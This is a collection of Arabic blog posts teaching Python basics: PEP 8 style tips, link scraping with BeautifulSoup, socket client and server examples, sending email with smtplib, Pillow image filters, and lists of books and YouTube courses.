بين فاصلة زائدة وقوس إغلاق:
# مستحسن
tuple = (1,)
# غير مستحسن
tuple = (1, )
لمحاذاة عوامل التعيين:
# مستحسن
var1 = 5
var2 = 6
some_long_var = 7
# غير مستحسن
var1          = 5
var2          = 6
some_long_var = 7

توصيات وممارسات في البرمجة

"البسيط أفضل من المركب"

ستجد في كثير من الأحيان أن هناك عدة طرق لتنفيذ إجراء مشابه في Python (وأي لغة برمجة أخرى). في هذا القسم ، سترى بعض الاقتراحات التي يقدمها PEP 8 لإزالة هذا الغموض والحفاظ على التناسق.
#  غير مستحسن
my_bool = 6 > 5
if my_bool == True:
    return '6 is bigger than 5'
استخدام معامل التكافؤ ، ==، غير ضروري هنا. bool يمكن أن تأخذ فقط القيم Trueأو False. يكفي أن يكتب ما يلي:
# مستحسن
if my_bool:
    return '6 is bigger than 5'
إذا كنت تريد التحقق مما إذا كانت القائمة فارغة أم لا ، فقد يكون من المفيد التحقق من طول القائمة len. إذا كانت القائمة فارغة ، فسيكون طولها مساويًا 0 وتعني False لعبارة if. 
إليك مثال على ذلك:
# غير مستحسن
my_list = []
if not len(my_list):
    print('List is empty!')
يمكننا أن نأتي ببديل أبسط من ذلك
# مستحسن
my_list = []
if not my_list:
    print('List is empty!')
استخدام is not بدلا من not 
# مستحسن
if x is not None:
    return 'x exists!'

#  غير مستحسن
if not x is None:
    return 'x exists!'
كلا الخيارين صحيح ، إلا أن الخيار الأول يكون أبسط
في بعض الاحيان تحتاج للتحقق من ARG فتحتاج استخدام العبارة if x is not None f بجلا من استخدام if x:
# غير مستحسن
if  arg :
    # Do something with arg ...
# مستحسن
if arg is not None:
    # Do something with arg...
يجب عليك استخدام الكود الثاني والسبب أن التحقق بانه none أفضل من الكود الاول لان قيمة arg قيمتها الافتراضية none وهذا من الاخطاء الشائعة, لذلك يجب التحقق من انه ليس none وهذا هو الأصح.

هل استخدام العبارة startswith() أفضل أو العبارة .endswith() ولكن عن طريق الشرائح slice للقائمة
# غير مستحسن
if word[:3] == 'cat':
    print('The word starts with "cat"')

# مستحسن
if word.startswith('cat'):
    print('The word starts with "cat"')
الكودا الاول غير مستحسن لأنه غير قابل للقراءة.
ينطبق المبدأ نفسه عند التحقق من اللواحق. يوضح المثال أدناه كيفية التحقق مما إذا كانت السلسلة تنتهي بـ jpg:
# غير مستحسن
if file_name[-3:] == 'jpg':
    print('The file is a JPEG')

# مستحسنif file_name.endswith('jpg'):    print('The file is a JPEG')
كما هو الحال مع معظم توصيات البرمجة هذه ، فإن الهدف المنشود هو سهولة القراءة والبساطة. 
في بيثون، هناك العديد من الطرق المختلفة لتنفيذ نفس الإجراء ، لذلك من المفيد اتباع إرشادات حول الأساليب التي يجب اختيارها.

أنت الآن على دراية بكيفية كتابة كود بايثون نظيف وعالي الجودة وقابل للقراءة باستخدام المبادئ التوجيهية المنصوص عليها في PEP 8. في حين أن الإرشادات يمكن أن تبدو متحركة ، يمكن أن يؤدي اتباعها إلى تحسين شفرتك، خاصة عندما يتعلق الأمر بمشاركة الشفرة المصدرية لمشروعك مع فريق العمل الخاص بك أو المتعاونين.

تجريف موقع بواسطة بايثون scraping beautifulsoup

0
تجريف موقع بواسطة بايثون  scraping beautifulsoup

ماهو التجريف الويب WebScraping ؟
الجواب البسيط هو أنه ليس كل موقع لديه API والتي توفر لنا البيانات التي نريدها من الموقع بتنسيق جاهز, أو بتنسيق Json الذي يوفر لنا بيانات منظمة . على سبيل المثال ، قد ترغب في الحصول تغريدات من حساب Twitter ، أو الصور من حساب Pinterest. وذلك بدون استخدام API،  ولهذا سيكون استخراج HTML أو الكشط/التجريف هو الطريقة الوحيدة للحصول على هذا المحتوى. سأريكم كيف نطبق ذلك في بايثون.
في هذه المقاله سنقوم ببرمجة أداة تجريف Scraper خاص بك بسهوله بلغه البايثون , وبالاستعانة بالمكتبة الشهيرة BeautifulSoup , بحيث نجعل الاداة تقوم باستخراج وجلب اي بيانات نريدها موجودة بالانترنت.


برمجة أداة استخراج جميع الروابط من موقع بواسطة بايثون

سنحتاج مكتبة  Beautifulsoup  لذلك عليك تثبيتها اولا:
ان كنت على الويندوز افتح موجه الاوامر cmd أو  افتح الطرفية Terminal ان كنت على اللينكس

pip install bs4
سنقوم باستدعاء مكتبة bs4 وسنحتاج تضمين import الموديل  BeautifulSoup منها

from bs4 import BeautifulSoup
نقوم ياستدعاء مكتبة urllib2 والذي نحتاجه في تنزيل محتوى الصفحة من الانترنت

import urllib2

نقوم بطلب الموقع, وضعت مدونة ويكي كالي لينكس كمثال
site = urllib2.urlopen("https://wikikali.blogspot.com")

نقوم بقراءة محتواها وتخزينه في متغير باسم siteHtml
siteHtml = site.read()
ثم نغلق الطلب request
site.close()
الان نقوم بتحليل محتوى الصفحة او الموقع الذي نزلناه على شكل html والموجود بمتغير باسم siteHtml
soup = BeautifulSoup(siteHtml)

الان بقي فقط ان نحدد ما نريد استخراجه من الموقع, سأبحث عن الوسم
soup.find_all('a')
ثم نقوم باستخراج الروابط الموجودة داخله والتي يرمز لها بالرمز href بهذه الطريقة
links.get('href')
 وبواسطة حلقة loop for يصبح الامران
for links in soup.find_all('a'):
    print (links.get('href'))

في النهاية سيطبع لنا الروابط . وهذه نتيجة التطبيق
اضغط على الصورة لتكبيرها
تجريف موقع بواسطة بايثون  scraping beautifulsoup

كود السكريبت كامل

from bs4 import BeautifulSoup
import urllib2
site = urllib2.urlopen("https://wikikali.blogspot.com")
siteHtml = site.read()
site.close()
soup = BeautifulSoup(siteHtml)
for links in soup.find_all('a'):
    print (links.get('href'))
تجريف موقع بواسطة بايثون  scraping beautifulsoup


أفضل كتاب لتعلم لغة بايثون للمبتدئين والمحترفين

0

نبذة عن الكتاب

أحببت مشاركتكم كتاب جميل و سلس في الشرح و مضمونه مميز جدا، يقدم لك الكتاب شروحات لغة البرمجة بايثون للمبتدئين والمتقدمين معا، فشروحاته الكتابية تتضمن الكود البرمجي و دوره و عمله و كيفية استعماله كذلك بطريقة جميلة ملونة ، الكتاب بالإنجليزية بالطبع، يضم شروحات لمكتبات أخرى غير القياسية قد تحتاجها.

فهرس الكتاب


  1. Getting started with Python Language
  2. Python Data Types
  3. Indentation
  4. Comments and Documentation
  5. Date and Time
  6. Date Formatting
  7. Enum
  8. Set
  9. Simple Mathematical Operators
  10. Bitwise Operators
  11. Boolean Operators
  12. Operator Precedence
  13. Filter
  14. Arrays
  15. Dictionary
  16. List
  17. List comprehensions
  18. List slicing (selecting parts of lists)
  19. Linked lists
  20. Linked List Node
  21. Tuple
  22. Functions
  23. Defining functions with list arguments
  24. Functional Programming in Python
  25. Partial functions
  26. Decorators
  27. Classes
  28. Metaclasses
  29. String Methods
  30. String Formatting
  31. Conditionals
  32. Loops
  33. Using loops within functions
  34. Importing modules
  35. Difference between Module and Package
  36. Math Module
  37. Complex math
  38. Collections module
  39. Operator module
  40. JSON Module
  41. Sqlite3 Module
  42. The os Module
  43. The locale Module
  44. Itertools Module
  45. Asyncio Module
  46. Random module
  47. Functools Module
  48. The dis module
  49. The base64 Module
  50. Queue Module
  51. Deque Module
  52. Usage of “pip” module: PyPI Package Manager
  53. Webbrowser Module
  54. pyautogui module
  55. Plotting with Matplotlib
  56. Comparisons
  57. Sorting, Minimum and Maximum
  58. Variable Scope and Binding
  59. Basic Input and Output
  60. Files & Folders I/O
  61. Indexing and Slicing
  62. Generators
  63. Reduce
  64. Map Function
  65. Exponentiation
  66. Searching
  67. Counting
  68. Manipulating XML
  69. Parallel computation
  70. Processes and Threads
  71. Multithreading
  72. Writing extensions
  73. Unit Testing
  74. Regular Expressions (Regex)
  75. Incompatibilities moving from Python 2 to Python 3
  76. Virtual environments
  77. Copying data
  78. Context Managers (“with” Statement)
  79. Hidden Features
  80. Unicode and bytes
  81. The __name__ special variable
  82. Checking Path Existence and Permissions
  83. Python Networking
  84. The Print Function
  85. os.path
  86. Creating Python packages
  87. Parsing Command Line arguments
  88. HTML Parsing
  89. Subprocess Library
  90. setup.py
  91. Sockets
  92. Recursion
  93. Type Hints
  94. pip: PyPI Package Manager
  95. Exceptions
  96. Web scraping with Python
  97. Distribution
  98. Property Objects
  99. Overloading
  100. Debugging
  101. Reading and Writing CSV
  102. Dynamic code execution with `exec` and `eval`
  103. PyInstaller — Distributing Python Code
  104. Iterables and Iterators
  105. Data Visualization with Python
  106. The Interpreter (Command Line Console)
  107. *args and **kwargs
  108. Garbage Collection
  109. Pickle data serialisation
  110. urllib
  111. Binary Data
  112. Python and Excel
  113. Idioms
  114. Method Overriding
  115. Data Serialization
  116. Python concurrency
  117. Introduction to RabbitMQ using AMQPStorm
  118. Descriptor
  119. Multiprocessing
  120. tempfile NamedTemporaryFile
  121. Input, Subset and Output External Data Files using Pandas
  122. Writing to CSV from String or List
  123. Unzipping Files
  124. Working with ZIP archives
  125. Stack
  126. Profiling
  127. User-Defined Methods
  128. Working around the Global Interpreter Lock (GIL)
  129. Deployment
  130. Logging
  131. Database Access
  132. Python HTTP Server
  133. Web Server Gateway Interface (WSGI)
  134. Python Server Sent Events
  135. Connecting Python to SQL Server
  136. Sockets And Message Encryption/Decryption Between Client and Server
  137. Alternatives to switch statement from other languages
  138. List Comprehensions
  139. List destructuring (aka packing and unpacking)
  140. Accessing Python source code and bytecode
  141. Mixins
  142. Attribute Access
  143. ArcPy
  144. Abstract Base Classes (abc)
  145. Plugin and Extension Classes
  146. Websockets
  147. Immutable datatypes(int, float, str, tuple and frozensets)
  148. String representations of class instances: __str__ and __repr__ methods
  149. Polymorphism
  150. Non-official Python implementations
  151. 2to3 tool
  152. Abstract syntax tree
  153. Unicode
  154. Python Serial Communication (pyserial)
  155. Neo4j and Cypher using Py2Neo
  156. Basic Curses with Python
  157. Performance optimization
  158. Templates in python
  159. Pillow
  160. The pass statement
  161. py.test
  162. Heapq
  163. tkinter
  164. CLI subcommands with precise help output
  165. PostgreSQL
  166. Python Persistence
  167. Turtle Graphics
  168. Design Patterns
  169. Multidimensional arrays
  170. Audio
  171. Pyglet
  172. Flask
  173. groupby()
  174. pygame
  175. hashlib
  176. getting start with GZip
  177. ctypes
  178. Creating a Windows service using Python
  179. Mutable vs Immutable (and Hashable) in Python
  180. Python speed of program
  181. configparser
  182. Commonwealth Exceptions
  183. Optical Character Recognition
  184. graph-tool
  185. Python Virtual Environment — virtualenv
  186. sys
  187. virtual environment with virtualenvwrapper
  188. Create virtual environment with virtualenvwrapper in windows
  189. Python Requests Post
  190. Python Lex-Yacc
  191. ChemPy — python package
  192. pyaudio
  193. shelve
  194. IoT Programming with Python and Raspberry PI
  195. kivy — Cross-platform Python Framework for NUI Development
  196. Call Python from C#
  197. Similarities in syntax, Differences in meaning: Python vs. JavaScript
  198. Raise Custom Errors / Exceptions
  199. Pandas Transform: Preform operations on groups and concatenate the results
  200. Security and Cryptography
  201. Secure Shell Connection in Python
  202. Python Anti-Patterns
  203. Common Pitfalls

عن الكتاب

عدد الصفحات:

816 صفحة 

حجم الكتاب:

6.2 ميجابايت

الترخيص

مجاني

لتنزيل الكتاب


بالتوفيق لك

طريقة عمل السوكت في بايثون socket python

0
طريقة عمل السوكت في بايثون socket python

نبذة عن الموضوع

توفر لغة بايثون "python" المكتبة البرمجية socket التي تمكنك من التعامل مع الشبكات أو ما يسمى "low socket programming" التي تمكنك من كتابة برامج تستطيع الأتصال عبر الشبكة .

الشرح

لجميع برامج الشبكة مهما أختلفت لغات برمجتها خطوات متشابهة في برمجة الشبكات و تلخص الصورة التالية الخطوات بالنسبة لبرنامج الخادم "Server" و برنامج العميل "Client" :

سأبدأ الشرح بالخطوة الأولى التي يشترك فيها برنامج الخادم "Server" و العميل "Client", و هي أنشاء القابس "Socket" و أسماء البرتوكولات في لغة البايثون :

socket(address_family,protocol)

address_family : طريقة كتابة العناوين الخاصة بالبرنامج وهذه قائمة بالطرق الأكثر أستخدما :
AF_INET   : العناوين الخاصة ببرتوكول IP الأصدارة الرابعة (هذه الطريقة التي سنستخدمها في هذا الدرس) .
AF_INET6 : العناوين الخاصة ببرتوكول IP الأصدارة السادسة.
AF_UNIX   :هذه العناوين خاصة بأنظمة لينكس .
protocol : البرتوكول الذي سيتم أستخدامه في الأتصال و القائمة توضح البرتوكولات الشائع أستخدمها :
SOCK_STREAM: برتوكول TCP  .
SOCK_DGRAM : برتوكول UDP  .
SOCK_RAW : القابس الخام يسمح لك ببرمجة برامج تنشأ حزم الأنترنت من الصفر مما يسمح لك بالتحكم بكل ما يتم أرساله (برامج التنصت على الشبكة تستخدم القابس الخام في برمجتها) .

و الأن بعد أن أصبحت لديك فكرة عن أساسيات القابس "Socket" ألى مثال عملي باللغة البايثون :

import socket
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

يقوم السطر الأول بأستدعاء المكتبة socket و يجب كتابة هذا السطر في بداية أي برنامج يستدعي الدوال الخاصة ببرامج الشبكات التي ستعرض في هذا الموضوع , أما السطر الثاني فينشأ قابس بالأسم "sos" يعتمد على البرتوكول IP/TCP (هذا الأسم الذي سيتم التعامل به مع القابس في البرنامج ).

الأن بعد شرح الخطوة الأولى في برمجة الشبكات في بايثون سنبدأ في الشرح الخطوات الباقية في برمجة الخادم "Server" بأستخدام البرتوكول TCP:

bind : سيتم في هذه الخطوة تحديد العنوان الخاص بالخادم "Server" الذي يتم تنفيذ البرنامج عليه (في اغلب البرامج التي ستمر عليك سيكون العنوان "localhost" أو عنوان الأي بي 127.0.0.1 )  , كما يجب أن يقوم المبرمج بتحديد المنفذ الذي سيستقبل البرنامج عليه الأتصالات الواردة من الشبكة.
sock.bind(("localhost",80))

تم تحديد المنفذ في هذه المثال بالمنفذ 80 الخاص برتوكول HTTP .

listen : البدأ بأنتظار الأتصالات الواردة من الشبكة , تستطيع تحديد عدد الأتصالات المسموح بأستقبالها في نفس الوقت كما في المثال:
sock.listen(5)

في المثال سيتم تحديد عدد الأتصالات بخمسة .

accept : عند قبول الأتصال يتم الحصول على عنوان الأي بي الخاص بالعميل و أعطاء منفذ محلي (local port) للبرنامج ( يتم أعطاء المنفذ بدون تدخل من المبرمج):
sock,(raddr,rport)=sock.accept()

في بايثون تعيد الطريقة "accept" كائن أو "object" يتم التعامل معه للأرسال و أستقبال البيانات , في مثالنا سيكون "sock" , كما سيتم أعطاء قيمة الأي بي للعميل "raddr" و المنفذ المحلي "rport".

send & recv : تستخدم مع الكائن الذي تنشأه accept للأرسال البيانات و أستقبالها كما في المثال :
data=sock.recv(1024)
sock.send("

Welcome to my Server

")

في الأمر "recv" يجب تحديد الذاكرة المستخدمة لحفظ البيانت بالبايت , في المثال تم تحديدها بـ1024 كما أنني في المثال حفظت البيانات المستلمة في المتغير "data" , أما الأمر "send" فيجب فقط أن تحدد البيانات التي يجب أرسالها في القوسين .

close : يتم بهذا أنهاء الأتصال بين الخادم و العميل و هذا مثال على أستخدامه :
sock.close()

و الأن سوف أعرض برنامج الخادم "Server" بأستخدام برتوكول TCP كامل بعد أن فهمت الكيفية التي يعمل بها :

import socket
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.bind(("localhost",80))
sock.listen(5)
sock,(raddr,rport)=sos.accept()
data=sock.recv(1024)
sock.send("

Welcome to my Server

")
sock.close()

و الأن ألى شرح برمجة الخادم بأستخدام برتوكول UDP , سيكون البرمجة مشابه للبرتوكول TCP مع أختلاف أنه في برمجة UDP لا يحتاج ألى عملية listen و accept .

أنشاء قابس خاص ببرتوكول UDP
import socket
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

bind
sock.bind(("localhost",2255))

تلاحظ التشابه بين الخطوات السابقة و برتوكول TCP .

أستقبال البيانات من العميل
في برامج التي تعتمد على برتوكول UDP لا حاجة ألى listen كما في المثال التالي:

while 1:
        data,addr = sock.recvfrom(1024)
        print data.strip(),addr

سنقوم بأنشاء حلقة تكرارية لا يمكن أيقافها ألا بضغط "Ctrl+D" بأستخدام while لكي يتم أستقبال البيانات من قبل العميل :
while 1:
     

يتم أستخدام الطريقة البرمجية "recvfrom" للأستلام البيانات في برامج UDP بعد تحديد الحد الأقصى للذاكرة لكل حزمة :
data,addr = sock.recvfrom(1024)

تقوم هذا الطريقة البرمجية بحفظ البيانات في المتغير "data" و عنوان المرسل "IP" في المتغير addr , السطر الخير سيقوم بطباعة البيانات , الأن ألى البرنامج كامل :

import socket
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.bind(("localhost",2255))
while 1:
        data,addr = sock.recvfrom(1024)
        print data.strip(),addr

الأن مع برمجة العميل , طبعا لن أتطرق ألى النقاط المشتركة مع الخادم "Server" بالتفصيل , وسأبدأ ببرمجة عميل ببرتوكول TCP :

أنشاء القابس خاص ببرتوكول TCP
import socket
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

بدأ الأتصال مع الخادم "Server"
sock.connect(("example.com",80))

تحتاج الدالة connect ألى عنوان الموقع أو رقم الأي بي , ثم رقم المنفذ الذي يعمل عليه الخادم الذي يراد الأتصال به .

أرسال و أستقبال البيانات
sock.send("GET /index.html")
data=sock.recv(1024)

تستخدم نفس الأوامر الخاص بالخادم للأرسال و أستقبال البيانات .

أغلاق الأتصال
sock.close()


و الأن ألى البرنامج كامل , هذا البرنامج يتصل بالموقع "example.com"  بأستخدام برتوكول HTTP الذي يعمل على المنفذ 80 .
import socket
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("example.com",80))
sock.send("GET /index.html")
data=sock.recv(1024)
sock.close()

أما برمجة العميل ببرتوكول UDP فيجب كما في الأمثلة السابقة تعريف القابس كالتالي :

import socket
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

ثم يمكنك أرسال البيانات مباشرة بأستخدام الأمر "sendto" :

sock.sendto("test", ("example.com", 8111))

سيتم أرسال البيانات "test" ألى الموقع "example.com" على المنفذ 8111 .
أغلاق الأتصال
sock.close()

و هنا البرنامج كاملا :

import socket
sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.sendto("test", ("example.com", 8111))
sock.close()


في نهاية هذه المقال , يجب أن أنبه أن الأمثلة الموجودة لا يوجد فيها أي ألية للتحقق من أخطاء الأتصال و قد تعمدت هذا لتجنب تعقيد الأمثلة.


شرح مكتبة smtp كيفية ارسال انبوكس

0
شرح مكتبة smtp كيفية ارسال انبوكس

نبذة عن مكتبة smtp

smtp هي مكتبة مدمجة مع بايثون تساعدنا على ارسال رسائل الى أي بريد الالكتروني كان جيميل او هوتميل او ياهو... في درسنا هذا سنقوم ببرمجة سكريبت لارسال رسالة تابع معي


الشرح

يلزمنا أولا حساب بريد الكتروني حتى نرسل منه الرسالة, لذلك سيكون شرحنا اولا تسجيل الدخول لحسابك ثم بعدها ارسال الرسالة لبريد الكتروني اخر.

أولا قم باستدعاء المكتبة smtp

import smtplib
الان نقوم بانشاء متغيرين ونمرر لهما اسم المستخدم وكلمة المرور الخاصة بايميلك

username = 'username'
password = 'password'

ثم قم بانشاء متغيرين لبريد المرسل والمستقبل

sender = 'from@gmail.com'
receivers = 'to@todomain.com'
كما تعلمون الرسالة تتكون من الرأس Head ومن  Body أي محتوى الرسالة

في Head نحتاج معلومات ضرورية وهي عنوان المرسل senderو المستقبلreceivers وعنوان الرسالة Subject و في Body هو نص محتوى الرسالة,
يعني أن الرسالة هي Head مع  Body
 Head + Body = Message

سنقوم بانشاء متغيرات ثم نمرر لهم القيم المطلوبة

subject = 'Python test mail'
mailContent = """
This is an e-mail message to be sent in HTML format
"""
header = "To: " + receivers + '\n' + 'From: ' + sender + '\n' + 'Subject: ' + subject + '\n'
message = header + mailContent

الان نقوم ببرمجة دالة الاتصال وارسال البريد الالكتروني

try:
   smtpObj = smtplib.SMTP('smtp.gmail.com', 587)
   smtpObj.ehlo()
   smtpObj.starttls()
   smtpObj.login(username, password)
   smtpObj.sendmail(sender, receivers, message)
   smtpObj.close()
   print "Successfully sent email"
except Exception :
   print "Error: unable to send email"


  • smtp.gmail.com', 587 يمثل هوست البريد الالكتروني الخاص بجيمايل و 587 هو البورت

في حالة اردت ارسال بريد من ياهو او غيره سيختلف الهوست والبورت.
  • ehlo  تغنيك على كتابة  الهوست الخاص بجهازك Hostname
  • starttls هو عبارة عن تشفير tls قمنا بتفعيله
  • login استعملناها  للدخول لحسابنا على Gmail
  • sendmaail واضحة تقوم بارسال الرسالة وتحتاج ثلاث مدخلات هي المرسل والمستقبل والرسالة.
  • Close بعد انتهاء الاتصال قمنا باغلاقه

هذا هو الكود كاملا 

شرح مكتبة smtp كيفية ارسال انبوكس

لاحظ تم ارسال الرسالة بنجاح

وصول الرسالة في الايميل المستقبل

محتوى الرسالة

اذا كنت تستخدم جيميل واردت ارسال رسالة بواسطتها عن طريق سكريبت البايثون يجب ان تسمح له بالوصول لحسابك
الطريقة أدخل للموقع

https://myaccount.google.com/lesssecureapps

ثم قم بتمكينها

شرح مكتبة Pillow لمعالجة الصور واضافة تأثيرات Python

0
شرح مكتبة Pillow لمعالجة الصور واضافة تأثيرات Python

نبذة عن المكتبة

ربما احتجت يوما في مشروعك الى التعديل على الصور واضافة تأثيرات عليه مثل البرامج الاحترافية مثل الفوتوشوب وبرنامج جيمبا, بحثت فوجدت مكتبة  Pillow تقوم بالعملية, سأضع مثال وسأقوم بشرحه تابع معي.

نبدا على بركة الله


يجب علينا تثبيت المكتبة لأنها ليست مدمجة مع بايثون Built in
ثبتها بالامر
pip install Pillow
أو
easy_install Pillow


سنبدا ببرمجة سكريبت بسيط يقوم باظهار معلومات عن الصورة


 يجب ان تستدعي المكتبة كالاتي

from PIL import Image, ImageFilter


ننشئ متغير نسميه filename مثلا, ونعطيه مسار الصورة

filename = "image.jpg"

نقوم بفتح  Open وقراءة الصورة Load بالامر 

original = Image.open(filename)
original.load()

الان سنطبع على الشاشة معلومات الصورة بالأمر:

print "The size of the Image is: "
print(original.format, original.size, original.mode)

Format : هو امتداد الصورة Jpg او PNG ...
Size: يظهر لناأبعاد الصورة
Mode: نظام الالوان RGB ...

النتيجة تظهر كما يلي:



الان سنقوم بتصغير الصورة ونجعلها قصاصة Thumbnail وكالاتي

original.thumbnail((128,128))

طبعا يمكنك تغيير القيمة 128, 128 الي ما تريد.

لاظهار الصورة على الشاشة استعمل الامر show

original.show()

اذا اردت حفظ الصورة الناتجة على القرص استعمل الامر save

original.save("thumb.jpg")

الأن سنقوم باضافة فلتر على الصورة وهذه أنواع الفلاتر الموجودة


#BLUR
#CONTOUR
#DETAIL
#EDGE_ENHANCE
#EDGE_ENHANCE_MORE
#EMBOSS
#FIND_EDGES
#SMOOTH
#SMOOTH_MORE
#SHARPEN


سنستعمل فلتر CONTOUR كالأتي


CONTOUR = original.filter(ImageFilter.CONTOUR)
CONTOUR.show()
وهذه النتيجة تظهر كأن الصورة مرسومة بقلم رصاص


سنستعمل فلتر أخر BLUR سيقوم بيمويه الصورة

BLUR = original.filter(ImageFilter.BLUR)
BLUR.show()

والنتيجة


يمكننا حفظ الصورة بصيغة أو امتداد أخر مثلا PNG

بالامر
original.save("image.png")

هذا الكود النهائي
python-pillow-lib


يمكنك تحميل المشروع

من هنا


تستطع عمل الكثير مع هذه المكتبة أتمنى الاطلاع على وثائقها:


أفضل دورات بايثون عربية على اليوتوب

0
أهم كورسات عربية لتعلم بايثون

لغة البرمجة بايثون أصبحت تستهوي الكثير من المبرمجين سواء المبتدئين أو حتى المحترفين في لغات برمجة أخرى والسبب قوتها وسهولتها, فمن يستخدم بايثون سيكون أكثر انتاجية للسكريبتات والبرامج فهي تختصر عليه الكثير الوقت والجهد في كتابة الاوامر. لذلك قررت اليوم جمع دورات باللغة العربية حتى يستطيع من ليس له دراية كبيرة باللغة الانجليزية مثلي :) أن يتعلمها بسهولة ودون معوق اللغة الانجليزية التي أنصح بها نفسي أولا , فمن يجيدها ستفتح له الطريق أمامه.


نبدأ على بركة الله


جمعت لكم أهم الدورات الموجودة على اليوتوب
ترتيب الدورات هو عشوائي, والدورات جميعها تعلمك الاساسيات وهذا الأهم

الدورة الاولى:

Python Tutorials Arabic|| دورة برمجة بايثون

مقدم الدورة : TheNewBaghdad
عدد الدروس : 54 درس



الدورة الثانية:

دورة البايثون من الصفر || Python tutorial

مقدم الدورة : أحمد عز

عدد الدروس : 72 درس


الدورة الثالثة:

أساسيات لغة بايثون - محمد عيسي

مقدم الدورة : Muhammed Essa

عدد الدروس : 174 درس


الدورة الرابعة:

دورة البرمجة بلغة python

مقدم الدورة : محمد خريشة (تكناوي)

عدد الدروس : 21 درس


الدورة الخامسة:

Python 3 Basics(Arabic) اساسيات تعلم بايثون

مقدم الدورة : EgyCoder

عدد الدروس : 35 درس



الدورة السادسة:

كورس تعلم ال Python

مقدم الدورة : محمد ناصف

عدد الدروس : 32 درس



الدورة السابعة:

Python3 Course In Arabic

مقدم الدورة : الصافي حجازي

عدد الدروس : 65 درس



الدورة الثامنة:

دورة Python 3 اساسيات ومتقدم

مقدم الدورة : Muhammed Essa

عدد الدروس : 64 درس



الدورة التاسعة:

Python بايثون الكل

مقدم الدورة :أحمد حسونة (Hassouna Academy)

عدد الدروس : 220 درس



الدورة العاشرة:

كورس لغه برمجه بايثون المستوي الاول الاساسيات بالعربي

مقدم الدورة :أحمد شوشان

عدد الدروس : 66 درس



الدورة الحادي عشر:

دورة أساسيات Python

مقدم الدورة :Fathi alamre

عدد الدروس : 26 درس



اتمنى لكم التوفيق والنجاح الدائم
بالتوفيق